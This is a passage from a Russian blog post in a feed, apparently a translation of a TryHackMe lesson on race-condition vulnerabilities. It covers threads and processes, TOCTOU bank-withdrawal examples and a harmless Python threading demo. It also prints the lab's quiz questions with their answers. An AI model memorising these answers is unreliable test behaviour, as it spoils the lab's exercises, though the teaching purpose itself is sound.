</content></entry><entry><id>fnay_offensive:post_38</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_38?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 34. Race Conditions</title><published>2026-02-23T15:36:34.099Z</published><updated>2026-02-23T15:36:34.099Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/cb/d6/cbd6f415-8a6a-4065-a9a4-9ba2ad7d4705.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/63/dd/63dd3b72-1ef8-4ac0-a9a1-ee3bcef943d5.jpeg&quot;&gt;Условия гонки - Узнайте о состояниях гонки и о том, как они влияют на безопасность веб-приложений.</summary><content type="html">
  &lt;p id=&quot;N6R7&quot;&gt;Условия гонки - Узнайте о состояниях гонки и о том, как они влияют на безопасность веб-приложений.&lt;/p&gt;
  &lt;figure id=&quot;S8Rt&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/63/dd/63dd3b72-1ef8-4ac0-a9a1-ee3bcef943d5.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Q9ry&quot;&gt;&lt;strong&gt;1. Введение&lt;/strong&gt;&lt;/h2&gt;
  &lt;figure id=&quot;eN8d&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;pZUz&quot;&gt;Допустим, нам поручено протестировать безопасность веб-приложения для онлайн-покупок. Возникает множество вопросов. Можно ли использовать одну и ту же подарочную карту на 10 долларов для оплаты товара стоимостью 100 долларов? Можно ли применить одну и ту же скидку к корзине покупок несколько раз? Ответ: &lt;em&gt;возможно&lt;/em&gt; ! Если система подвержена уязвимости типа «гонка состояний», мы можем сделать всё это и многое другое.&lt;/p&gt;
  &lt;figure id=&quot;a1xP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rP8u&quot;&gt;В этом разделе рассматривается уязвимость, связанная с состоянием гонки. Состояние гонки — это ситуация в компьютерных программах, когда время событий влияет на поведение и результат программы. Обычно это происходит, когда к переменной обращаются и изменяют её несколько потоков. Из-за отсутствия надлежащих механизмов блокировки и синхронизации между различными потоками злоумышленник может злоупотребить системой и применить скидку несколько раз или совершить денежные транзакции, превышающие его баланс.&lt;/p&gt;
  &lt;figure id=&quot;zzqI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2b/af/2baf67c6-ff34-4068-9546-5e2f811f23a0.png&quot; width=&quot;1142&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;1Z2d&quot;&gt;Цели обучения&lt;/h2&gt;
  &lt;p id=&quot;DMaz&quot;&gt;После прохождения этого раздела вы узнаете следующее:&lt;/p&gt;
  &lt;ul id=&quot;EvaN&quot;&gt;
    &lt;li id=&quot;R9uF&quot;&gt;Уязвимость к условиям гонки&lt;/li&gt;
    &lt;li id=&quot;U2wP&quot;&gt;Использование Burp Suite Repeater для эксплуатации состояний гонки&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Q2Rx&quot;&gt;В процессе обучения вы также узнаете о:&lt;/p&gt;
  &lt;ul id=&quot;mRke&quot;&gt;
    &lt;li id=&quot;bWrn&quot;&gt;Потоки и многопоточность&lt;/li&gt;
    &lt;li id=&quot;42Sg&quot;&gt;Диаграммы состояний&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;wofp&quot;&gt;Предварительные условия обучения&lt;/h2&gt;
  &lt;p id=&quot;TTP2&quot;&gt;Для успешного прохождения этого курса рекомендуется ознакомиться с протоколом HTTP , веб-приложениями и Burp Suite . Для восполнения пробелов в знаниях рекомендуется пройти следующие курсы и модули.&lt;/p&gt;
  &lt;ul id=&quot;7z7w&quot;&gt;
    &lt;li id=&quot;VxTf&quot;&gt;&lt;a href=&quot;https://tryhackme.com/module/how-the-web-works&quot; target=&quot;_blank&quot;&gt;Как работает Интернет&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;qPTs&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/packetsframes&quot; target=&quot;_blank&quot;&gt;Пакеты и кадры&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;s5To&quot;&gt;&lt;a href=&quot;https://tryhackme.com/r/room/burpsuitebasics&quot; target=&quot;_blank&quot;&gt;Burp Suite : основы&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;4eU1&quot;&gt;&lt;strong&gt;2. Многопоточность&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;vKCF&quot;&gt;В этом задании мы кратко рассмотрим следующие термины:&lt;/p&gt;
  &lt;ul id=&quot;UKvv&quot;&gt;
    &lt;li id=&quot;lKrO&quot;&gt;Программа&lt;/li&gt;
    &lt;li id=&quot;WVsh&quot;&gt;Процесс&lt;/li&gt;
    &lt;li id=&quot;plYY&quot;&gt;Нить&lt;/li&gt;
    &lt;li id=&quot;r1fR&quot;&gt;Многопоточность&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;m8bO&quot;&gt;Программы&lt;/h2&gt;
  &lt;p id=&quot;ANl2&quot;&gt;Программа &lt;strong&gt;—&lt;/strong&gt; это набор инструкций для выполнения определенной задачи. Для достижения желаемого результата необходимо выполнить программу. Без выполнения она ничего не сделает и останется набором статических инструкций.&lt;/p&gt;
  &lt;p id=&quot;59Aa&quot;&gt;Представьте это как рецепт; вы только что скачали новый рецепт кофе, в котором используются различные травы, такие как кардамон и корица. Вот инструкция:&lt;/p&gt;
  &lt;pre id=&quot;GckG&quot;&gt;1. Combine brewed coffee, cardamom, cinnamon, and cloves (if using) in a saucepan.
2. Heat the mixture over low heat for 5 minutes, stirring occasionally. Do not boil.
3. Strain the coffee into your mug.
4. Add milk if desired, and sweeten to taste with honey or sugar.&lt;/pre&gt;
  &lt;p id=&quot;xNrH&quot;&gt;Если кто-либо не выполнит вышеуказанные инструкции, кофе подаваться не будет!&lt;/p&gt;
  &lt;p id=&quot;evCC&quot;&gt;Сравните это с нашим минимальным сервером Flask (Python) «Hello, World!». Приведенный ниже код указывает, что приложение будет прослушивать порт 8080 и отвечать минимальной приветственной HTML-страницей, содержащей «Hello, World!». Однако, прежде чем ожидать получения каких-либо приветственных страниц, необходимо выполнить эти инструкции (программу).&lt;/p&gt;
  &lt;p id=&quot;zUIY&quot;&gt;&lt;em&gt;Обратите внимание, что приведенный ниже код Flask предназначен только для демонстрационных целей. Мы не предоставили среду для его запуска, поскольку это выходит за рамки данной темы.&lt;/em&gt;&lt;/p&gt;
  &lt;pre id=&quot;skeN&quot;&gt;# Import the Flask class from the flask module
from flask import Flask

# Create an instance of the Flask class representing the application
app = Flask(__name__)

# Define a route for the root URL (&amp;#x27;/&amp;#x27;)
@app.route(&amp;#x27;/&amp;#x27;)
def hello_world():
    # This function will be executed when the root URL is accessed
    # It returns a string containing HTML code for a simple web page
    return &amp;#x27;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Greeting&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Hello, World!&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;#x27;

# This checks if the script is being run directly (as the main program)
# and not being imported as a module
if __name__ == &amp;#x27;__main__&amp;#x27;:
    # Run the Flask application
    # The host=&amp;#x27;0.0.0.0&amp;#x27; allows the server to be accessible from any IP address
    # The port=8080 specifies the port number on which the server will listen
    app.run(host=&amp;#x27;0.0.0.0&amp;#x27;, port=8080)&lt;/pre&gt;
  &lt;h2 id=&quot;439V&quot;&gt;Процессы&lt;/h2&gt;
  &lt;p id=&quot;uOt1&quot;&gt;Однажды днем ​​вы решаете попробовать новый рецепт кофе, который скачали из интернета. Вы начинаете выполнять рецепт шаг за шагом. Вы находитесь в процессе приготовления этого кофе. Во время «выполнения» «инструкций» вас может прервать срочный звонок. Или вы можете заняться другой «работой», ожидая, пока нагреется вода. Перерывы и ожидание, как правило, неизбежны. Выполнение инструкций рецепта для приготовления кофе похоже на выполнение инструкций программы.&lt;/p&gt;
  &lt;p id=&quot;4rg5&quot;&gt;Процесс — это &lt;strong&gt;программа &lt;em&gt;,&lt;/em&gt;&lt;/strong&gt; находящаяся в процессе выполнения. В некоторых источниках можно встретить термин &lt;strong&gt;«задание»&lt;/strong&gt; . Оба термина обозначают одно и то же, хотя термин «процесс» вытеснил термин «задание». В отличие от программы, которая является статической, процесс — это динамическая сущность. Он обладает несколькими ключевыми аспектами, в частности:&lt;/p&gt;
  &lt;ul id=&quot;ueS8&quot;&gt;
    &lt;li id=&quot;vAv2&quot;&gt;&lt;strong&gt;Программа&lt;/strong&gt; : исполняемый код, относящийся к процессу.&lt;/li&gt;
    &lt;li id=&quot;dPz2&quot;&gt;&lt;strong&gt;Память&lt;/strong&gt; : временное хранилище данных.&lt;/li&gt;
    &lt;li id=&quot;sLeP&quot;&gt;&lt;strong&gt;Состояние&lt;/strong&gt; : Процесс обычно переходит между различными состояниями. После того, как он находится в состоянии «Новый», то есть только что создан, он переходит в состояние «Готов», то есть готов к выполнению после получения процессорного времени. Как только процессор выделит для него время, он переходит в состояние «Выполняется». Кроме того, он может находиться в состоянии «Ожидание», ожидая завершения операций ввода-вывода или событий. После завершения он переходит в состояние «Завершено».&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;SPtJ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/659a97b7bb26b976007d5eae2b341e82.svg&quot; width=&quot;760&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;z8bm&quot;&gt;Если вы запустите приведенный выше код Flask, будет создан процесс, который будет прослушивать входящие соединения на порту 8080. Другими словами, большую часть времени он будет находиться в состоянии ожидания (Waiting). Получив HTTP- &lt;code&gt;GET /&lt;/code&gt;запрос, он переключится в состояние готовности (Ready), ожидая своей очереди на выполнение в соответствии с планированием ЦП . После перехода в состояние выполнения (Running) он отправит HTML-страницу клиенту и вернется в состояние ожидания (Waiting).&lt;/p&gt;
  &lt;p id=&quot;B6h5&quot;&gt;С точки зрения сервера, приложение обслуживает клиентов последовательно, то есть запросы клиентов обрабатываются по одному. (Обратите внимание, что Flask по умолчанию многопоточный, начиная с версии 1.0. Мы использовали аргумент &lt;code&gt;--without-threads&lt;/code&gt;для принудительного запуска в однопоточном режиме.)&lt;/p&gt;
  &lt;p id=&quot;oVvj&quot;&gt;&lt;em&gt;Обратите внимание, что приведенная ниже команда Flask носит исключительно демонстрационный характер.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;F3SJ&quot;&gt;Терминал&lt;/p&gt;
  &lt;pre id=&quot;8U11&quot;&gt;$ flask run --without-threads --host=0.0.0.0
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:5000
 * Running on http://192.168.0.104:5000
Press CTRL+C to quit
127.0.0.1 - - [16/Apr/2024 23:34:46] &amp;quot;GET / HTTP/1.1&amp;quot; 200 -
127.0.0.1 - - [16/Apr/2024 23:34:48] &amp;quot;GET / HTTP/1.1&amp;quot; 200 -
127.0.0.1 - - [16/Apr/2024 23:35:11] &amp;quot;GET / HTTP/1.1&amp;quot; 200 -&lt;/pre&gt;
  &lt;h2 id=&quot;azvr&quot;&gt;Нити&lt;/h2&gt;
  &lt;p id=&quot;yGbz&quot;&gt;В заключение еще одна кофейная аналогия! Рассмотрим случай с профессиональной эспрессо-машиной в кофейне. Допустим, у нее два портафильтра. В начале рабочего дня бариста включает эспрессо-машину, и всякий раз, когда клиент заказывает эспрессо, для приготовления порции используется один портафильтр. Заказывает ли эспрессо другой клиент? Нет проблем, на помощь приходит второй портафильтр! Разогретая эспрессо-машина — это процесс; каждому новому заказу назначается свой портафильтр; это аналогия для всей дискуссии.&lt;/p&gt;
  &lt;figure id=&quot;Jxr0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/9e6574b9f1cf855a4f5191ff231fc73d.svg&quot; width=&quot;235&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;TnnI&quot;&gt;Поток — это легковесная единица выполнения. Он разделяет с процессом различные части памяти и инструкции.&lt;/p&gt;
  &lt;p id=&quot;tll7&quot;&gt;Во многих случаях нам приходится многократно повторять один и тот же процесс. Представьте себе веб-сервер, обслуживающий тысячи пользователей одной и той же страницей (или персонализированной страницей). Мы можем использовать один из двух основных подходов:&lt;/p&gt;
  &lt;ul id=&quot;B88X&quot;&gt;
    &lt;li id=&quot;kWaS&quot;&gt;Последовательный режим: запущен один процесс, который последовательно обслуживает пользователей одного за другим. Новые пользователи добавляются в очередь.&lt;/li&gt;
    &lt;li id=&quot;3a9K&quot;&gt;Параллельный режим: работает один процесс; он создает поток для обслуживания каждого нового пользователя. Новые пользователи добавляются в очередь только после достижения максимального количества запущенных потоков.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;J7rK&quot;&gt;Предыдущее приложение может работать в четырех потоках с использованием Gunicorn. Gunicorn, также называемый «Зеленым Единорогом», — это &lt;strong&gt;HTTP- сервер WSGI на Python&lt;/strong&gt; . WSGI расшифровывается как Web Server Gateway Interface (интерфейс шлюза веб-сервера), который соединяет веб-серверы и веб-приложения на Python. В частности, Gunicorn может запускать несколько рабочих процессов для одновременной обработки входящих запросов. Запуская приложение &lt;code&gt;gunicorn&lt;/code&gt;с &lt;code&gt;--workers=4&lt;/code&gt;опцией, мы указываем, что нам нужны четыре рабочих процесса, готовых обрабатывать запросы клиентов; кроме того, &lt;code&gt;--threads=2&lt;/code&gt;указывает, что каждый рабочий процесс может запускать два потока.&lt;/p&gt;
  &lt;p id=&quot;va5x&quot;&gt;&lt;em&gt;Обратите внимание, что приведенная ниже команда Gunicorn предназначена только для демонстрационных целей. Мы не предоставили среду для ее запуска, поскольку это выходит за рамки данной темы.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;D7XV&quot;&gt;Терминал&lt;/p&gt;
  &lt;pre id=&quot;5kpg&quot;&gt;gunicorn --workers=4 --threads=2 -b 0.0.0.0:8080 app:app
[2024-04-16 23:35:59 +0300] [507149] [INFO] Starting gunicorn 21.2.0
[2024-04-16 23:35:59 +0300] [507149] [INFO] Listening at: http://0.0.0.0:8080 (507149)
[2024-04-16 23:35:59 +0300] [507149] [INFO] Using worker: gthread
[2024-04-16 23:35:59 +0300] [507150] [INFO] Booting worker with pid: 507150
[2024-04-16 23:35:59 +0300] [507151] [INFO] Booting worker with pid: 507151
[2024-04-16 23:35:59 +0300] [507152] [INFO] Booting worker with pid: 507152
[2024-04-16 23:35:59 +0300] [507153] [INFO] Booting worker with pid: 507153&lt;/pre&gt;
  &lt;p id=&quot;LEi9&quot;&gt;Стоит отметить следующее:&lt;/p&gt;
  &lt;ul id=&quot;bwkX&quot;&gt;
    &lt;li id=&quot;qCpy&quot;&gt;Запустить более одной копии этого процесса невозможно, поскольку он привязывается к TCP- порту 8080. К TCP- или UDP- порту может быть привязан только один процесс.&lt;/li&gt;
    &lt;li id=&quot;mi4O&quot;&gt;Процесс можно настроить с любым количеством потоков, и HTTP- запросы, поступающие на порт 8080, будут отправляться различным потокам.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Ajgb&quot;&gt;Вопрос: Вы скачали инструкцию по изготовлению журавлика оригами. Как бы выглядела эта инструкция с точки зрения компьютерной графики?&lt;/p&gt;
  &lt;p id=&quot;UB0G&quot;&gt;Ответ: Program&lt;/p&gt;
  &lt;p id=&quot;CsVE&quot;&gt;Вопрос: Как называется состояние, в котором процесс ожидает события ввода-вывода?&lt;/p&gt;
  &lt;p id=&quot;1soN&quot;&gt;Ответ: Waiting&lt;/p&gt;
  &lt;h2 id=&quot;Mrap&quot;&gt;&lt;strong&gt;3. Условия гонки&lt;/strong&gt;&lt;/h2&gt;
  &lt;h2 id=&quot;tIEP&quot;&gt;Аналогия с реальным миром&lt;/h2&gt;
  &lt;p id=&quot;khGt&quot;&gt;Представьте следующую ситуацию. Вы звоните в ресторан, чтобы забронировать столик для важного делового обеда. Вы знакомы с рестораном и его обстановкой. Один конкретный столик, номер 17, — ваш предпочтительный выбор, поскольку из него открывается хороший вид и он находится в относительно уединенном месте. Вы звоните, чтобы забронировать столик № 17; администратор подтверждает, что он свободен, так как на нем нет метки «Забронировано». В то же время другой клиент разговаривает с другим администратором и бронирует тот же столик.&lt;/p&gt;
  &lt;figure id=&quot;ukx1&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/33e99becc3f430e34054dc6e1bfdf567.svg&quot; width=&quot;250&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9fbQ&quot;&gt;Кто на самом деле забронировал столик? Это уже вопрос &lt;em&gt;&lt;strong&gt;&lt;u&gt;расовой принадлежности. (что? эм скорее это проблема перевода... ну или нет))&lt;/u&gt;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;SBvs&quot;&gt;Почему это произошло? Эта неприятная ситуация возникла из-за того, что бронированием занимались несколько хостесс; кроме того, хостесс потребовалось несколько минут, чтобы достать бирку «Забронировано» и положить её на стол после обновления ежедневной книги бронирований. У другого клиента есть как минимум минута, чтобы забронировать зарезервированный столик. &lt;/p&gt;
  &lt;p id=&quot;VX9Y&quot;&gt;Аналогично, когда один поток проверяет значение для выполнения действия, другой поток может изменить это значение до того, как действие будет выполнено.&lt;/p&gt;
  &lt;h3 id=&quot;ZNcG&quot;&gt;Пример А&lt;/h3&gt;
  &lt;p id=&quot;anKa&quot;&gt;Рассмотрим следующий сценарий:&lt;/p&gt;
  &lt;ul id=&quot;yFty&quot;&gt;
    &lt;li id=&quot;wu81&quot;&gt;На банковском счете 100 долларов.&lt;/li&gt;
    &lt;li id=&quot;weWL&quot;&gt;Два потока пытаются одновременно вывести деньги.&lt;/li&gt;
    &lt;li id=&quot;JNMb&quot;&gt;Первый поток проверяет баланс (видит 100 долларов) и снимает 45 долларов.&lt;/li&gt;
    &lt;li id=&quot;gN9U&quot;&gt;&lt;strong&gt;Перед тем как поток 1 обновит баланс&lt;/strong&gt; , поток 2 также проверит баланс (ошибочно увидит 100 долларов) и выведет 35 долларов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;6EaN&quot;&gt;Мы не можем быть на 100% уверены, какой поток первым обновит остаток средств; однако предположим, что это будет Поток 1. Поток 1 установит остаток средств на уровне 55 долларов. После этого Поток 2 может установить остаток средств на уровне 65 долларов, если это не будет обработано должным образом. (Поток 2 рассчитал, что после снятия средств на счете должно остаться 65 долларов, поскольку на момент проверки Потоком 2 баланс составлял 100 долларов.) Другими словами, пользователь совершил два снятия средств, но остаток на счете был списан только за второе, потому что так решил Поток 2!&lt;/p&gt;
  &lt;h3 id=&quot;8EZe&quot;&gt;Пример Б&lt;/h3&gt;
  &lt;p id=&quot;yKF2&quot;&gt;Рассмотрим другой сценарий:&lt;/p&gt;
  &lt;ul id=&quot;VQ7x&quot;&gt;
    &lt;li id=&quot;ooQd&quot;&gt;На банковском счету 75 долларов.&lt;/li&gt;
    &lt;li id=&quot;yO46&quot;&gt;Два потока пытаются одновременно вывести деньги.&lt;/li&gt;
    &lt;li id=&quot;fFrP&quot;&gt;Первый поток проверяет баланс (видит 75 долларов) и снимает 50 долларов.&lt;/li&gt;
    &lt;li id=&quot;U4WV&quot;&gt;&lt;strong&gt;Перед тем как поток 1 обновит баланс&lt;/strong&gt; , поток 2 проверит баланс (ошибочно увидит 75 долларов) и выведет 50 долларов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Gy7G&quot;&gt;В рамках второй ветки обсуждения будет осуществлен вывод средств, хотя подобную транзакцию следовало бы отклонить.&lt;/p&gt;
  &lt;p id=&quot;6uxd&quot;&gt;Примеры A и B демонстрируют уязвимость, связанную с преобразованием данных о времени проверки в данные о времени использования (TOCTOU).&lt;/p&gt;
  &lt;h2 id=&quot;0XKo&quot;&gt;Пример кода&lt;/h2&gt;
  &lt;p id=&quot;WlTY&quot;&gt;Рассмотрим следующий код на Python с двумя потоками, имитирующими завершение задачи с шагом в 10%.&lt;/p&gt;
  &lt;pre id=&quot;MP5U&quot;&gt;import threading

x = 0  # Shared variable

def increase_by_10():
    global x
    for i in range(1, 11):
        x += 1
        print(f&amp;quot;Thread {threading.current_thread().name}: {i}0% complete, x = {x}&amp;quot;)

# Create two threads
thread1 = threading.Thread(target=increase_by_10, name=&amp;quot;Thread-1&amp;quot;)
thread2 = threading.Thread(target=increase_by_10, name=&amp;quot;Thread-2&amp;quot;)

# Start the threads
thread1.start()
thread2.start()

# Wait for both threads to finish
thread1.join()
thread2.join()

print(&amp;quot;Both threads have finished completely.&amp;quot;)
&lt;/pre&gt;
  &lt;p id=&quot;dpOg&quot;&gt;Эти два потока запускаются одновременно; они ничего не делают, кроме вывода значения на экран. Следовательно, можно было бы ожидать, что они завершатся одновременно, или, по крайней мере, результат будет согласованным. Однако в приведенной выше программе нет гарантии, какой поток завершится первым и как скоро это произойдет. Ниже приведен результат первого выполнения:&lt;/p&gt;
  &lt;p id=&quot;FU6t&quot;&gt;Терминал&lt;/p&gt;
  &lt;pre id=&quot;XZ4u&quot;&gt;python t3_race_to_100.py
...
Thread Thread-1: 40% complete, x = 10
Thread Thread-2: 70% complete, x = 11
Thread Thread-1: 50% complete, x = 12
Thread Thread-2: 80% complete, x = 13
Thread Thread-1: 60% complete, x = 14
Thread Thread-1: 70% complete, x = 16
Thread Thread-2: 90% complete, x = 15
Thread Thread-2: 100% complete, x = 17
Thread Thread-1: 80% complete, x = 18
Thread Thread-1: 90% complete, x = 19
Thread Thread-1: 100% complete, x = 20
Both threads have finished completely.
&lt;/pre&gt;
  &lt;p id=&quot;5Vip&quot;&gt;Ниже представлен второй результат выполнения:&lt;/p&gt;
  &lt;p id=&quot;DZvl&quot;&gt;Терминал&lt;/p&gt;
  &lt;pre id=&quot;Qjy5&quot;&gt;python t3_race_to_100.py 
...
Thread Thread-1: 70% complete, x = 10
Thread Thread-2: 40% complete, x = 11
Thread Thread-1: 80% complete, x = 12
Thread Thread-2: 50% complete, x = 13
Thread Thread-1: 90% complete, x = 14
Thread Thread-2: 60% complete, x = 15
Thread Thread-1: 100% complete, x = 16
Thread Thread-2: 70% complete, x = 17
Thread Thread-2: 80% complete, x = 18
Thread Thread-2: 90% complete, x = 19
Thread Thread-2: 100% complete, x = 20
Both threads have finished completely.
&lt;/pre&gt;
  &lt;p id=&quot;6nWm&quot;&gt;Многократный запуск этой программы приведет к различным результатам. В первой попытке поток Thread-2 достиг 100 первым; однако во второй попытке поток Thread-2 достиг 100 вторым. Мы не можем контролировать результат. Если безопасность нашего приложения зависит от того, завершится ли один поток раньше другого, то нам необходимо внедрить механизмы для обеспечения надлежащей защиты. Рассмотрим следующие два примера, чтобы лучше понять серьезность ошибок, возникающих, когда мы полагаемся на случай.&lt;/p&gt;
  &lt;p id=&quot;fQMa&quot;&gt;На платформе AttackBox вы можете сохранить приведенный выше код Python и запустить его несколько раз, чтобы понаблюдать за результатом. Например, если вы сохранили его как &lt;code&gt;race.py&lt;/code&gt;, вы можете запустить скрипт с помощью &lt;code&gt;python race.py&lt;/code&gt;команды.&lt;/p&gt;
  &lt;h2 id=&quot;upVV&quot;&gt;Причины&lt;/h2&gt;
  &lt;p id=&quot;eoVD&quot;&gt;Как мы видели в предыдущей программе, два потока изменяли одну и ту же переменную. Всякий раз, когда потоку предоставлялось процессорное время, он стремился увеличить значение &lt;code&gt;x&lt;/code&gt;на 1. В результате эти два потока «соревновались» в увеличении одной и той же переменной. Эта программа демонстрирует простой пример, происходящий на одном хосте.&lt;/p&gt;
  &lt;p id=&quot;ol2j&quot;&gt;В целом, распространенной причиной состояний гонки являются совместно используемые ресурсы. Например, когда несколько потоков одновременно обращаются к одним и тем же общим данным и изменяют их. Примерами совместно используемых данных являются запись в базе данных и структура данных в оперативной памяти. Существует множество более тонких причин, но мы упомянем три наиболее распространенных:&lt;/p&gt;
  &lt;ul id=&quot;ntrA&quot;&gt;
    &lt;li id=&quot;joTt&quot;&gt;&lt;strong&gt;Параллельное выполнение&lt;/strong&gt; : Веб-серверы могут выполнять несколько запросов параллельно для обработки одновременных взаимодействий с пользователями. Если эти запросы обращаются к общим ресурсам или состояниям приложения и изменяют их без надлежащей синхронизации, это может привести к состояниям гонки и непредсказуемому поведению.&lt;/li&gt;
    &lt;li id=&quot;ll56&quot;&gt;&lt;strong&gt;Операции с базой данных&lt;/strong&gt; : Параллельные операции с базой данных, такие как последовательности чтения-изменения-записи, могут приводить к состояниям гонки. Например, попытка двух пользователей одновременно обновить одну и ту же запись может привести к несогласованности данных или конфликтам. Решение заключается в обеспечении надлежащих механизмов блокировки и изоляции транзакций.&lt;/li&gt;
    &lt;li id=&quot;Lahs&quot;&gt;&lt;strong&gt;Сторонние библиотеки и сервисы&lt;/strong&gt; : В настоящее время веб-приложения часто интегрируются со сторонними библиотеками, API и другими сервисами. Если эти внешние компоненты не предназначены для надлежащей обработки одновременного доступа, при одновременном взаимодействии нескольких запросов или операций могут возникать состояния гонки.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Ajgb&quot;&gt;Вопрос: Гарантирует ли представленный скрипт на Python, какой поток первым достигнет 100% выполнения? (Да/Нет)&lt;/p&gt;
    &lt;p id=&quot;UB0G&quot;&gt;Ответ: Nay&lt;/p&gt;
    &lt;p id=&quot;jU14&quot;&gt;&lt;br /&gt;Вопрос: Как называется поток, который первым достиг 100% при втором выполнении скрипта на Python?&lt;/p&gt;
    &lt;p id=&quot;np4M&quot;&gt;Ответ: Thread-1&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;xfFo&quot;&gt;&lt;strong&gt;4. Архитектура веб-приложения&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;mCrp&quot;&gt;Давайте рассмотрим архитектуру веб-приложений, чтобы объяснить, как могут возникать состояния гонки.&lt;/p&gt;
  &lt;h2 id=&quot;IJ4s&quot;&gt;Клиент-серверная модель&lt;/h2&gt;
  &lt;p id=&quot;D7BX&quot;&gt;Веб-приложения работают по клиент-серверной модели:&lt;/p&gt;
  &lt;ul id=&quot;H3oF&quot;&gt;
    &lt;li id=&quot;yDiS&quot;&gt;&lt;strong&gt;Клиент&lt;/strong&gt; : Клиентом является программа или приложение, инициирующее запрос на предоставление услуги. Например, когда мы просматриваем веб-страницу, наш веб-браузер запрашивает веб-страницу (файл) у веб-сервера.&lt;/li&gt;
    &lt;li id=&quot;4zEc&quot;&gt;&lt;strong&gt;Сервер&lt;/strong&gt; : Сервер — это программа или система, которая предоставляет эти услуги в ответ на входящие запросы. Например, веб-сервер отвечает на входящий HTTP- &lt;code&gt;GET&lt;/code&gt; запрос и отправляет HTML-страницу (или файл) запрашивающему веб-браузеру (клиенту).&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;NSvC&quot;&gt;В общем случае, клиент-серверная модель работает по сети. Клиент отправляет свой запрос по сети, а сервер получает его и обрабатывает, прежде чем отправить обратно необходимый ресурс.&lt;/p&gt;
  &lt;h2 id=&quot;2tB6&quot;&gt;Типичное веб-приложение&lt;/h2&gt;
  &lt;p id=&quot;LKNG&quot;&gt;Веб-приложение имеет многоуровневую архитектуру. Такая архитектура разделяет логику приложения на разные слои или уровни. Наиболее распространенная архитектура использует три уровня:&lt;/p&gt;
  &lt;ul id=&quot;xLih&quot;&gt;
    &lt;li id=&quot;QaK1&quot;&gt;&lt;strong&gt;Уровень представления&lt;/strong&gt; : В веб-приложениях этот уровень состоит из веб-браузера на стороне клиента. Веб-браузер отображает код HTML, CSS и JavaScript.&lt;/li&gt;
    &lt;li id=&quot;ZhFJ&quot;&gt;&lt;strong&gt;Уровень приложения&lt;/strong&gt; : Этот уровень содержит бизнес-логику и функциональность веб-приложения. Он получает запросы от клиентов, обрабатывает их и взаимодействует с уровнем данных. Он реализован с использованием серверных языков программирования, таких как Node.js и PHP , а также многих других.&lt;/li&gt;
    &lt;li id=&quot;Wba9&quot;&gt;&lt;strong&gt;Уровень данных&lt;/strong&gt; : Этот уровень отвечает за хранение и обработку данных приложения. Типичные операции с базой данных включают создание, обновление, удаление и поиск существующих записей. Обычно это достигается с помощью системы управления базами данных (СУБД); примерами СУБД являются MySQL и PostgreSQL.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;poQo&quot; class=&quot;m_original&quot;&gt;
